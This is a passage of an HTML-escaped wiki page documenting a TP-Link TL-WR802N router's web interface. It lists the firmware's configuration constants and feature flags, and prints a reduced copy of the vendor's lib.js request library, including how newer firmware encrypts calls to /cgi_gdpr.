var VOICE_PROF_PROVIDER = &amp;quot;VOICE_PROF_PROVIDER&amp;quot;&lt;br /&gt;
var VOICE_PROF_SIP = &amp;quot;VOICE_PROF_SIP&amp;quot;&lt;br /&gt;
var VOICE_PROF_SIP_EVTSUBSCRIBE = &amp;quot;VOICE_PROF_SIP_EVTSUBSCRIBE&amp;quot;&lt;br /&gt;
var VOICE_PROF_MGCP = &amp;quot;VOICE_PROF_MGCP&amp;quot;&lt;br /&gt;
var VOICE_PROF_RTP = &amp;quot;VOICE_PROF_RTP&amp;quot;&lt;br /&gt;
var VOICE_PROF_FAXT38 = &amp;quot;VOICE_PROF_FAXT38&amp;quot;&lt;br /&gt;
var XTP_USB_VOICEMAIL_PUBLICCFG = &amp;quot;XTP_USB_VOICEMAIL_PUBLICCFG&amp;quot;&lt;br /&gt;
var XTP_MULTI_ISP = &amp;quot;XTP_MULTI_ISP&amp;quot;&lt;br /&gt;
var XTP_MULTIISP_CODEC = &amp;quot;XTP_MULTIISP_CODEC&amp;quot;&lt;br /&gt;
var XTP_MULTIISP_CODEC_LIST = &amp;quot;XTP_MULTIISP_CODEC_LIST&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE = &amp;quot;VOICE_PROF_LINE&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_SIP = &amp;quot;VOICE_PROF_LINE_SIP&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_XTPUSBVM = &amp;quot;VOICE_PROF_LINE_XTPUSBVM&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_CALLFEAT = &amp;quot;VOICE_PROF_LINE_CALLFEAT&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_PROC = &amp;quot;VOICE_PROF_LINE_PROC&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_CODEC = &amp;quot;VOICE_PROF_LINE_CODEC&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_CODEC_LIST = &amp;quot;VOICE_PROF_LINE_CODEC_LIST&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_STATS = &amp;quot;VOICE_PROF_LINE_STATS&amp;quot;&lt;br /&gt;
var XTP_FEATURE_CODE = &amp;quot;XTP_FEATURE_CODE&amp;quot;&lt;br /&gt;
var VOICE_PHY_INTERFACE = &amp;quot;VOICE_PHY_INTERFACE&amp;quot;&lt;br /&gt;
var VOICE_PHYINTERFACE_TESTS = &amp;quot;VOICE_PHYINTERFACE_TESTS&amp;quot;&lt;br /&gt;
var XTP_VOICE_MULTI_ISPDIALPLAN = &amp;quot;XTP_VOICE_MULTI_ISPDIALPLAN&amp;quot;&lt;br /&gt;
var XTP_VOICE_PSTN = &amp;quot;XTP_VOICE_PSTN&amp;quot;&lt;br /&gt;
var STORAGE_SERVICE = &amp;quot;STORAGE_SERVICE&amp;quot;&lt;br /&gt;
var CAPABLE = &amp;quot;CAPABLE&amp;quot;&lt;br /&gt;
var USER_ACCOUNT = &amp;quot;USER_ACCOUNT&amp;quot;&lt;br /&gt;
var USB_DEVICE = &amp;quot;USB_DEVICE&amp;quot;&lt;br /&gt;
var LOGICAL_VOLUME = &amp;quot;LOGICAL_VOLUME&amp;quot;&lt;br /&gt;
var FOLDER_BROWSE = &amp;quot;FOLDER_BROWSE&amp;quot;&lt;br /&gt;
var FOLDER_NODE = &amp;quot;FOLDER_NODE&amp;quot;&lt;br /&gt;
var DLNA_MEDIA_SERVER = &amp;quot;DLNA_MEDIA_SERVER&amp;quot;&lt;br /&gt;
var DLNA_MEDIA_SERVER_FOLDER = &amp;quot;DLNA_MEDIA_SERVER_FOLDER&amp;quot;&lt;br /&gt;
var SMB_SERVICE = &amp;quot;SMB_SERVICE&amp;quot;&lt;br /&gt;
var SMB_SERVICE_FOLDER = &amp;quot;SMB_SERVICE_FOLDER&amp;quot;&lt;br /&gt;
var SMB_USER_ACCESS = &amp;quot;SMB_USER_ACCESS&amp;quot;&lt;br /&gt;
var FTP_SERVER = &amp;quot;FTP_SERVER&amp;quot;&lt;br /&gt;
var FTP_SERVER_FOLDER = &amp;quot;FTP_SERVER_FOLDER&amp;quot;&lt;br /&gt;
var FTP_USER_ACCESS = &amp;quot;FTP_USER_ACCESS&amp;quot;&lt;br /&gt;
var XTP_PRINT_SERVICE = &amp;quot;XTP_PRINT_SERVICE&amp;quot;&lt;br /&gt;
var XTP_IGD_CALL_FIREWALL_CFG = &amp;quot;XTP_IGD_CALL_FIREWALL_CFG&amp;quot;&lt;br /&gt;
var XTP_IGD_SPEED_DIAL_CFG = &amp;quot;XTP_IGD_SPEED_DIAL_CFG&amp;quot;&lt;br /&gt;
var XTP_IGD_MULTI_ISP_DIAL_PLAN = &amp;quot;XTP_IGD_MULTI_ISP_DIAL_PLAN&amp;quot;&lt;br /&gt;
var XTP_IGD_MULTIISPDP_LIST = &amp;quot;XTP_IGD_MULTIISPDP_LIST&amp;quot;&lt;br /&gt;
var XTP_CALLLOGCFG = &amp;quot;XTP_CALLLOGCFG&amp;quot;&lt;br /&gt;
var IPSEC = &amp;quot;IPSEC&amp;quot;&lt;br /&gt;
var IPSEC_CFG = &amp;quot;IPSEC_CFG&amp;quot;&lt;br /&gt;
var SYS_MODE = &amp;quot;SYS_MODE&amp;quot;&lt;br /&gt;
var EWAN = &amp;quot;EWAN&amp;quot;&lt;br /&gt;
var USER_INFO = &amp;quot;USER_INFO&amp;quot;&lt;br /&gt;
var GPON_USER_INFO = &amp;quot;GPON_USER_INFO&amp;quot;&lt;br /&gt;
var GPON_AUTH_CTC = &amp;quot;GPON_AUTH_CTC&amp;quot;&lt;br /&gt;
var GPON_AUTH_SN = &amp;quot;GPON_AUTH_SN&amp;quot;&lt;br /&gt;
var GPON_AUTH_PWD = &amp;quot;GPON_AUTH_PWD&amp;quot;&lt;br /&gt;
var GPON_MAC_INFO = &amp;quot;GPON_MAC_INFO&amp;quot;&lt;br /&gt;
var GPON_FWD_RULE = &amp;quot;GPON_FWD_RULE&amp;quot;&lt;br /&gt;
var GPON_LOCAL_RULE_ENTRY = &amp;quot;GPON_LOCAL_RULE_ENTRY&amp;quot;&lt;br /&gt;
var GPON_REMOTE_RULE_ENTRY = &amp;quot;GPON_REMOTE_RULE_ENTRY&amp;quot;&lt;br /&gt;
var GPON_OMCI_IOT = &amp;quot;GPON_OMCI_IOT&amp;quot;&lt;br /&gt;
var GPON_OMCI_IOT_ENTRY = &amp;quot;GPON_OMCI_IOT_ENTRY&amp;quot;&lt;br /&gt;
var GPON_OMCI_ME_ATTR = &amp;quot;GPON_OMCI_ME_ATTR&amp;quot;&lt;br /&gt;
var CLOUD_SERVICE = &amp;quot;CLOUD_SERVICE&amp;quot;&lt;br /&gt;
var FW_UPGRADE_INFO = &amp;quot;FW_UPGRADE_INFO&amp;quot;&lt;br /&gt;
var CLOUD_USER_ACCOUNT = &amp;quot;CLOUD_USER_ACCOUNT&amp;quot;&lt;br /&gt;
var OWNER_INFO = &amp;quot;OWNER_INFO&amp;quot;&lt;br /&gt;
var CURRENT_USER_INFO = &amp;quot;CURRENT_USER_INFO&amp;quot;&lt;br /&gt;
var CLOUD_DDNS = &amp;quot;CLOUD_DDNS&amp;quot;&lt;br /&gt;
var CLOUD_DDNS_ENTRY = &amp;quot;CLOUD_DDNS_ENTRY&amp;quot;&lt;br /&gt;
var WAN_BLOCK = &amp;quot;WAN_BLOCK&amp;quot;&lt;br /&gt;
var WAN_ERROR_BLOCK = &amp;quot;WAN_ERROR_BLOCK&amp;quot;&lt;br /&gt;
var FW_UP_INFO_BLOCK = &amp;quot;FW_UP_INFO_BLOCK&amp;quot;&lt;br /&gt;
var IPPING_DIAG = &amp;quot;IPPING_DIAG&amp;quot;&lt;br /&gt;
var TRACEROUTE_DIAG = &amp;quot;TRACEROUTE_DIAG&amp;quot;&lt;br /&gt;
var SDMZ_CFG = &amp;quot;SDMZ_CFG&amp;quot;&lt;br /&gt;
var WEB_CFG = &amp;quot;WEB_CFG&amp;quot;&lt;br /&gt;
var VLAN = &amp;quot;VLAN&amp;quot;&lt;br /&gt;
var ISP_SERVICE = &amp;quot;ISP_SERVICE&amp;quot;&lt;br /&gt;
var WOL = &amp;quot;WOL&amp;quot;&lt;br /&gt;
var WOL_ITEM = &amp;quot;WOL_ITEM&amp;quot;&lt;br /&gt;
var IPV6_CFG = &amp;quot;IPV6_CFG&amp;quot;&lt;br /&gt;
var SYS_STATE = &amp;quot;SYS_STATE&amp;quot;&lt;br /&gt;
var IPV6_PASS_THROUGH = &amp;quot;IPV6_PASS_THROUGH&amp;quot;&lt;br /&gt;
var AUTO_REBOOT_CFG = &amp;quot;AUTO_REBOOT_CFG&amp;quot;&lt;br /&gt;
var CPU_MEM = &amp;quot;CPU_MEM&amp;quot;&lt;br /&gt;
var PRODUCE_INFO = &amp;quot;PRODUCE_INFO&amp;quot;&lt;br /&gt;
var MULTIMODE = &amp;quot;MULTIMODE&amp;quot;&lt;br /&gt;
var MULTIMODE_AP = &amp;quot;MULTIMODE_AP&amp;quot;&lt;br /&gt;
var AP_CONFIG_WEPKEY = &amp;quot;AP_CONFIG_WEPKEY&amp;quot;&lt;br /&gt;
var AP_SNMP_CFG = &amp;quot;AP_SNMP_CFG&amp;quot;&lt;br /&gt;
var MULTIMODE_CLIENT = &amp;quot;MULTIMODE_CLIENT&amp;quot;&lt;br /&gt;
var MULTIMODE_RE = &amp;quot;MULTIMODE_RE&amp;quot;&lt;br /&gt;
var RE_CONFIG_WEPKEY = &amp;quot;RE_CONFIG_WEPKEY&amp;quot;&lt;br /&gt;
var MULTIMODE_ROUTER = &amp;quot;MULTIMODE_ROUTER&amp;quot;&lt;br /&gt;
var ROUTER_CONFIG_WEPKEY = &amp;quot;ROUTER_CONFIG_WEPKEY&amp;quot;&lt;br /&gt;
var ROUTER_CONFIG_MULTISSID = &amp;quot;ROUTER_CONFIG_MULTISSID&amp;quot;&lt;br /&gt;
var ROUTER_CONFIG_MSSIDENTRY = &amp;quot;ROUTER_CONFIG_MSSIDENTRY&amp;quot;&lt;br /&gt;
var MULTIMODE_MSSID = &amp;quot;MULTIMODE_MSSID&amp;quot;&lt;br /&gt;
var MSSID_CONFIG_MULTISSID = &amp;quot;MSSID_CONFIG_MULTISSID&amp;quot;&lt;br /&gt;
var MSSID_CONFIG_MSSIDENTRY = &amp;quot;MSSID_CONFIG_MSSIDENTRY&amp;quot;&lt;br /&gt;
var MULTIMODE_HOTSPOT = &amp;quot;MULTIMODE_HOTSPOT&amp;quot;&lt;br /&gt;
var PING_WATCH_DOG = &amp;quot;PING_WATCH_DOG&amp;quot;&lt;br /&gt;
var LED_CONTROL = &amp;quot;LED_CONTROL&amp;quot;&lt;br /&gt;
&lt;br /&gt;
// Dynamic Parameters &lt;br /&gt;
var INCLUDE_MULTI_LANGUAGE_Q=0&lt;br /&gt;
var INCLUDE_MULTIMODE_RE=1&lt;br /&gt;
var WEB_INCLUDE_TEST=0&lt;br /&gt;
var WEB_INCLUDE_MULTI_EWAN=0&lt;br /&gt;
var WEB_INCLUDE_DST=1&lt;br /&gt;
var WEB_QS_CHANGEPASSWORD=0&lt;br /&gt;
var INCLUDE_IP6_WAN_NOT_ASSIGN_ADDR=0&lt;br /&gt;
var INCLUDE_UN_IPTV=0&lt;br /&gt;
var INCLUDE_SCHEDULE_NEW=0&lt;br /&gt;
var INCLUDE_HW_NAT=0&lt;br /&gt;
var INCLUDE_LED_CONTROL=0&lt;br /&gt;
var INCLUDE_MULTILANGUAGE=0&lt;br /&gt;
var INCLUDE_FEEDBACK=0&lt;br /&gt;
var INCLUDE_FORCE_TIMEZONE_SELECT=0&lt;br /&gt;
var INCLUDE_FORCE_REGION_SELECT=0&lt;br /&gt;
var INCLUDE_WLAN_REGION_LIST=0&lt;br /&gt;
var INCLUDE_MULTIPLE_LOCALIZATION=0&lt;br /&gt;
var INCLUDE_SCAN_ALL_CHANNELS=0&lt;br /&gt;
var INCLUDE_LAN_WLAN=1&lt;br /&gt;
var INCLUDE_VOIP&lt;br /&gt;
var INCLUDE_FXS_NUM&lt;br /&gt;
var INCLUDE_CALLLOG&lt;br /&gt;
var INCLUDE_USB_VOICEMAIL&lt;br /&gt;
var INCLUDE_PSTN&lt;br /&gt;
var INCLUDE_PSTN_GATEWAY&lt;br /&gt;
var INCLUDE_PSTN_LIFELINE&lt;br /&gt;
var INCLUDE_BRIDGING=1&lt;br /&gt;
var INCLUDE_IGMP=1&lt;br /&gt;
var INCLUDE_ETHERNET_WAN=1&lt;br /&gt;
var INCLUDE_SNMP&lt;br /&gt;
var INCLUDE_RIP=1&lt;br /&gt;
var INCLUDE_DDNS_PH&lt;br /&gt;
var INCLUDE_LAN_WLAN_MSSID=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_WDS=1&lt;br /&gt;
var INCLUDE_IPTV&lt;br /&gt;
var INCLUDE_CWMP&lt;br /&gt;
var INCLUDE_DYNDNS=1&lt;br /&gt;
var INCLUDE_USB=1&lt;br /&gt;
var INCLUDE_USB_STORAGE=1&lt;br /&gt;
var INCLUDE_USB_MEDIA_SERVER=1&lt;br /&gt;
var INCLUDE_USB_SAMBA_SERVER=1&lt;br /&gt;
var INCLUDE_USB_FTP_SERVER=1&lt;br /&gt;
var INCLUDE_USB_OVER_IP&lt;br /&gt;
var INCLUDE_ADSLWAN&lt;br /&gt;
var INCLUDE_AUTO_PVC&lt;br /&gt;
var INCLUDE_IPV6=1&lt;br /&gt;
var INCLUDE_IPV6_SLAAC=1&lt;br /&gt;
var INCLUDE_SPECIAL_DIAL_MODE&lt;br /&gt;
var INCLUDE_WAN_MODE=1&lt;br /&gt;
var INCLUDE_IPSEC&lt;br /&gt;
var INCLUDE_NOIPDNS=1&lt;br /&gt;
var INCLUDE_ALG_H323=1&lt;br /&gt;
var INCLUDE_ALG_SIP=1&lt;br /&gt;
var INCLUDE_PON_ETH_WAN&lt;br /&gt;
var INCLUDE_EPON_INFO&lt;br /&gt;
var INCLUDE_GPON_INFO&lt;br /&gt;
var INCLUDE_QOS&lt;br /&gt;
var INCLUDE_E8_APP&lt;br /&gt;
var INCLUDE_TFC_PERU&lt;br /&gt;
var INCLUDE_USB_3G_DONGLE=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_SCHEDULE=1&lt;br /&gt;
var INCLUDE_ROUTE_BINDING&lt;br /&gt;
var INCLUDE_LAN_WLAN_GUESTNETWORK=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_DUALBAND=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_HWSWITCH&lt;br /&gt;
var INCLUDE_LAN_WLAN_AC=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_WDS_DETECT&lt;br /&gt;
var INCLUDE_L2TP=1&lt;br /&gt;
var INCLUDE_PPTP=1&lt;br /&gt;
var INCLUDE_IPV6_MLD=1&lt;br /&gt;
var INCLUDE_ACL&lt;br /&gt;
var INCLUDE_ACL_ADVANCE&lt;br /&gt;
var INCLUDE_DUAL_ACCESS=1&lt;br /&gt;
var INCLUDE_WAN_TYPE_DETECT=1&lt;br /&gt;
var INCLUDE_BPA=1&lt;br /&gt;
var INCLUDE_CMXDNS=1&lt;br /&gt;
var INCLUDE_IPPING_DIAG=1&lt;br /&gt;
var INCLUDE_TRACEROUTE_DIAG=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_QUICKSAVE=1&lt;br /&gt;
var INCLUDE_IGMP_FORCEVERSION=1&lt;br /&gt;
var INCLUDE_PORTABLE_APP=1&lt;br /&gt;
var DEFAULT_NO_SPEC=1&lt;br /&gt;
var INCLUDE_MEXICO_SPEC&lt;br /&gt;
var INCLUDE_CANADA_SPEC&lt;br /&gt;
var INCLUDE_JAPAN_SPEC&lt;br /&gt;
var INCLUDE_KOREA_SPEC&lt;br /&gt;
var INCLUDE_PL_SPEC&lt;br /&gt;
var INCLUDE_BR_SPEC&lt;br /&gt;
var INCLUDE_ROMANIA_SPEC&lt;br /&gt;
var INCLUDE_RUSSIA_SPEC&lt;br /&gt;
var INCLUDE_US_SPEC&lt;br /&gt;
var INCLUDE_VN_SPEC&lt;br /&gt;
var INCLUDE_VIETNAM_FPT&lt;br /&gt;
var INCLUDE_TW_SPEC&lt;br /&gt;
var INCLUDE_ES_SPEC&lt;br /&gt;
var INCLUDE_X_TP_VLAN=1&lt;br /&gt;
var INCLUDE_FORBID_WAN_PING=1&lt;br /&gt;
var INCLUDE_SMART_DHCP=1&lt;br /&gt;
var INCLUDE_MIC=1&lt;br /&gt;
var INCLUDE_IPV6_PASS_THROUGH&lt;br /&gt;
var INCLUDE_AUTOREBOOT&lt;br /&gt;
var INCLUDE_CPUMEM_INFO&lt;br /&gt;
var INCLUDE_MULTIMODE_RE=1&lt;br /&gt;
var INCLUDE_MULTIMODE_AP=1&lt;br /&gt;
var INCLUDE_MULTIMODE_CLIENT=1&lt;br /&gt;
var INCLUDE_MULTIMODE=1&lt;br /&gt;
var INCLUDE_PING_WATCHDOG=1&lt;br /&gt;
var INCLUDE_MULTIMODE_ROUTER=1&lt;br /&gt;
var INCLUDE_MULTIMODE_MSSID&lt;br /&gt;
var INCLUDE_YANDEX_DNS&lt;br /&gt;
var INCLUDE_LED_CONTROL&lt;br /&gt;
var INCLUDE_MULTILANGUAGE&lt;br /&gt;
var INCLUDE_FORCE_TIMEZONE_SELECT&lt;br /&gt;
var INCLUDE_FORCE_REGION_SELECT&lt;br /&gt;
var INCLUDE_MULTIMODE_HOTSPOT=1&lt;br /&gt;
var INCLUDE_WLAN_REGION_LIST&lt;br /&gt;
var INCLUDE_FBWIFI&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin: 5px 0&amp;quot;&amp;gt;The previously introduced concept varies a little bit on the newer firmware, which uses &amp;lt;code&amp;gt;/cgi_gdpr&amp;lt;/code&amp;gt; in addition to &amp;lt;code&amp;gt;/cgi&amp;lt;/code&amp;gt;. In this scenario the payload gets AES encrypted before transmitting. The generic &amp;lt;code&amp;gt;/cgi&amp;lt;/code&amp;gt; calls are still used, but most calls need to be encrypted. This is done by setting the new &amp;lt;code&amp;gt;$.exe(hook, unerr, securityLevel)&amp;lt;/code&amp;gt; parameter &amp;lt;code&amp;gt;securityLevel&amp;lt;/code&amp;gt; to 1, to enable encryption.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR802N FW190428&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 13px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Strongly Reduced version of the lib.js, showing the $.cgi, $.act and $.exe methods.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;# lib_modified.js&lt;br /&gt;
(function(){&lt;br /&gt;
var window = this,&lt;br /&gt;
	&lt;br /&gt;
	window.$ = {&lt;br /&gt;
&lt;br /&gt;
		cgi: function(path, arg, hook, noquit, unerr) {&lt;br /&gt;
			var expr = /(^|\/)(\w+)\.htm$/;&lt;br /&gt;
			if ($.local || $.sim) path = $.params;&lt;br /&gt;
			else path = (path ? path : $.curPage.replace(/\.htm$/, &amp;quot;.cgi&amp;quot;)) + (arg ? &amp;quot;?&amp;quot; + $.toStr(arg, &amp;quot;=&amp;quot;, &amp;quot;&amp;amp;&amp;quot;) : &amp;quot;&amp;quot;);&lt;br /&gt;
			$.ret = 0;&lt;br /&gt;
			var func = hook ? function(ret) {if (!ret &amp;amp;&amp;amp; (ret = $.ret)) $.err(&amp;quot;cgi&amp;quot;, $.ret, unerr); if (typeof hook === &amp;quot;function&amp;quot;) hook(ret);} : null;&lt;br /&gt;
			var ret =  $.io(path, true, func, null, noquit, unerr);&lt;br /&gt;
			&lt;br /&gt;
			if (!ret &amp;amp;&amp;amp; (ret = $.ret))&lt;br /&gt;
				$.err(&amp;quot;cgi&amp;quot;, $.ret, unerr);&lt;br /&gt;
			return ret;&lt;br /&gt;
		},&lt;br /&gt;
&lt;br /&gt;
		act: function(type, oid, stack, pStack, attrs) {&lt;br /&gt;
			if (!type || !oid)&lt;br /&gt;
				return false;&lt;br /&gt;
			stack = stack ? stack : &amp;quot;0,0,0,0,0,0&amp;quot;;&lt;br /&gt;
			pStack = pStack ? pStack : &amp;quot;0,0,0,0,0,0&amp;quot;;&lt;br /&gt;
			attrs = $.toStr(attrs, &amp;quot;=&amp;quot;, &amp;quot;\r\n&amp;quot;, true);&lt;br /&gt;
			attrs = attrs.replace(/__stack=[0-9,]*\r\n/, &amp;quot;&amp;quot;);&lt;br /&gt;
			var ret = null;&lt;br /&gt;
			switch (type) {&lt;br /&gt;
				case ACT_ADD:		&lt;br /&gt;
					if ($.cn) attrs = $.ansi(attrs);&lt;br /&gt;
				case ACT_GET:		&lt;br /&gt;
					ret = {};&lt;br /&gt;
					break;&lt;br /&gt;
				case ACT_GL:		&lt;br /&gt;
				case ACT_GS:		&lt;br /&gt;
					ret = [];&lt;br /&gt;
					break;&lt;br /&gt;
				case ACT_SET:		&lt;br /&gt;
				case ACT_CGI:&lt;br /&gt;
					oid = oid ? oid : $.curPage.replace(/\.htm$/, &amp;quot;.cgi&amp;quot;);&lt;br /&gt;
					if ($.cn) attrs = $.ansi(attrs);&lt;br /&gt;
				case ACT_DEL:		&lt;br /&gt;
				case ACT_OP:&lt;br /&gt;
					break;&lt;br /&gt;
				default: &lt;br /&gt;
					return false;&lt;br /&gt;
			}&lt;br /&gt;
			$.as.push([type, null, oid, stack, pStack, attrs, attrs ? attrs.match(/\r\n/g).length : 0]);&lt;br /&gt;
			$.ds.push(ret);&lt;br /&gt;
			return ret;&lt;br /&gt;
		},&lt;br /&gt;
		&lt;br /&gt;
		exe: function(hook, unerr, securityLevel) {&lt;br /&gt;
			var url = &amp;quot;/cgi?&amp;quot;;&lt;br /&gt;
			var data = &amp;quot;&amp;quot;;&lt;br /&gt;
			var index = 0;&lt;br /&gt;
			var obj;&lt;br /&gt;
			var bAnsi = false;&lt;br /&gt;
			&lt;br /&gt;
			var tmpdata = &amp;quot;&amp;quot;;&lt;br /&gt;
			&lt;br /&gt;
			if( INCLUDE_LOGIN_GDPR_ENCRYPT &amp;amp;&amp;amp; securityLevel != 0)&lt;br /&gt;
			{&lt;br /&gt;
				&lt;br /&gt;
				try{&lt;br /&gt;
					url=&amp;quot;/cgi_gdpr?&amp;quot;;&lt;br /&gt;
				}&lt;br /&gt;
				catch(e)&lt;br /&gt;
				{&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			&lt;br /&gt;
			if ($.as.length == 0 || $.local || $.sim) {&lt;br /&gt;
				if (hook &amp;amp;&amp;amp; typeof hook === &amp;quot;function&amp;quot;) $.timeout(hook, 200);&lt;br /&gt;
				while($.as.pop() !== undefined);&lt;br /&gt;
				while($.ds.pop() !== undefined);&lt;br /&gt;
				return 0;&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			$.empty($.id(&amp;quot;ansiform&amp;quot;));&lt;br /&gt;
			while ($.ansiarg.length) {&lt;br /&gt;
				obj = $.ansiarg.shift();&lt;br /&gt;
				$.append($.id(&amp;quot;ansiform&amp;quot;), &amp;quot;&amp;lt;input type=&#039;hidden&#039; name=&#039;&amp;quot;+obj[0]+&amp;quot;&#039; value=&#039;&amp;quot;+obj[1].replace(/\&amp;amp;/g, &amp;quot;&amp;amp;amp;&amp;quot;).replace(/&amp;lt;/g, &amp;quot;&amp;amp;lt;&amp;quot;).replace(/&#039;/g, &amp;quot;&amp;amp;apos;&amp;quot;)+&amp;quot;&#039; /&amp;gt;&amp;quot;);&lt;br /&gt;
				bAnsi = true;&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			if(INCLUDE_LOGIN_GDPR_ENCRYPT &amp;amp;&amp;amp; url.match(&amp;quot;/cgi_gdpr&amp;quot;) != null)&lt;br /&gt;
			{&lt;br /&gt;
				while(obj = $.as.shift()){&lt;br /&gt;
					//url = &amp;quot;/cgi&amp;quot;;&lt;br /&gt;
					tmpdata += obj[0] + (obj[1] ? &amp;quot;=&amp;quot; + obj[1] : &amp;quot;&amp;quot;) + &amp;quot;&amp;amp;&amp;quot;;&lt;br /&gt;
					//url += obj[0] + (obj[1] ? &amp;quot;=&amp;quot; + obj[1] : &amp;quot;&amp;quot;) + &amp;quot;&amp;amp;&amp;quot;;&lt;br /&gt;
					data += &amp;quot;[&amp;quot; + obj[2] + &amp;quot;#&amp;quot; + obj[3] + &amp;quot;#&amp;quot; + obj[4] + &amp;quot;]&amp;quot; + index + &amp;quot;, &amp;quot; + obj[6] + &amp;quot;\r\n&amp;quot; + obj[5];				&lt;br /&gt;
					index++;&lt;br /&gt;
				}	&lt;br /&gt;
				tmpdata = tmpdata.substr(0, tmpdata.length - 1);&lt;br /&gt;
				tmpdata = tmpdata + &amp;quot;\r\n&amp;quot;+data;&lt;br /&gt;
				data = tmpdata;&lt;br /&gt;
			}&lt;br /&gt;
			else&lt;br /&gt;
			{&lt;br /&gt;
				while(obj = $.as.shift()){&lt;br /&gt;
					url += obj[0] + (obj[1] ? &amp;quot;=&amp;quot; + obj[1] : &amp;quot;&amp;quot;) + &amp;quot;&amp;amp;&amp;quot;;&lt;br /&gt;
					data += &amp;quot;[&amp;quot; + obj[2] + &amp;quot;#&amp;quot; + obj[3] + &amp;quot;#&amp;quot; + obj[4] + &amp;quot;]&amp;quot; + index + &amp;quot;, &amp;quot; + obj[6] + &amp;quot;\r\n&amp;quot; + obj[5];				&lt;br /&gt;
					index++;&lt;br /&gt;
				}	&lt;br /&gt;
			}		&lt;br /&gt;
			url = url.substr(0, url.length - 1);&lt;br /&gt;
			&lt;br /&gt;
			if (hook) {&lt;br /&gt;
				var tmpds = $.mkArr($.ds);&lt;br /&gt;
				while($.ds.length) $.ds.pop();	&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			var resolve = function(ret, ds) {&lt;br /&gt;
				if (typeof ret !== &amp;quot;number&amp;quot;) {&lt;br /&gt;
					var lines = ret.split(&#039;\n&#039;);&lt;br /&gt;
					ret = 0;&lt;br /&gt;
					$.ret = 0;&lt;br /&gt;
					var scripts = &amp;quot;&amp;quot;;&lt;br /&gt;
					&lt;br /&gt;
					for (var i = 0, l = lines.length; i &amp;lt; l; i++) {&lt;br /&gt;
						if (lines[i] == &amp;quot;&amp;quot;) continue;&lt;br /&gt;
						if (lines[i].charAt(0) == &amp;quot;[&amp;quot;) {&lt;br /&gt;
							if (scripts != &amp;quot;&amp;quot;) {&lt;br /&gt;
								$.script(scripts);&lt;br /&gt;
								if ($.ret) {&lt;br /&gt;
									ret = $.ret;&lt;br /&gt;
									$.err(&amp;quot;cgi&amp;quot;, ret, unerr);&lt;br /&gt;
									break;&lt;br /&gt;
								}&lt;br /&gt;
								scripts = &amp;quot;&amp;quot;;&lt;br /&gt;
							}&lt;br /&gt;
							var n = lines[i].indexOf(&amp;quot;]&amp;quot;);&lt;br /&gt;
							var j = parseInt(lines[i].substr(n+1), 10);&lt;br /&gt;
							var stack = lines[i].substr(1, n-1);&lt;br /&gt;
							var instance;&lt;br /&gt;
							if (stack == &amp;quot;error&amp;quot;) {&lt;br /&gt;
								if (j) {&lt;br /&gt;
									ret = j;&lt;br /&gt;
									if (ret != ERR_HTTP_ERR_CGI_INVALID_ANSI) $.err(&amp;quot;exe&amp;quot;, ret, unerr);&lt;br /&gt;
									break;&lt;br /&gt;
								}&lt;br /&gt;
							}&lt;br /&gt;
							else if (ds[j] instanceof Array) {&lt;br /&gt;
								instance = {__stack: stack};&lt;br /&gt;
								ds[j].push(instance);&lt;br /&gt;
							}&lt;br /&gt;
							else if (ds[j] != null) {&lt;br /&gt;
								instance  = ds[j];&lt;br /&gt;
								instance.__stack = stack;&lt;br /&gt;
							}&lt;br /&gt;
						}&lt;br /&gt;
						else {&lt;br /&gt;
							if (stack == &amp;quot;cgi&amp;quot;) {&lt;br /&gt;
								scripts += lines[i] + &#039;\n&#039;;&lt;br /&gt;
							}&lt;br /&gt;
							else {&lt;br /&gt;
								var attr = lines[i].split(&amp;quot;=&amp;quot;);&lt;br /&gt;
								instance[attr[0]] = attr.slice(1).join(&#039;=&#039;);&lt;br /&gt;
							}&lt;br /&gt;
						}&lt;br /&gt;
					}&lt;br /&gt;
				}&lt;br /&gt;
				while(ds.length) ds.pop();&lt;br /&gt;
				return ret;&lt;br /&gt;
			}&lt;br /&gt;
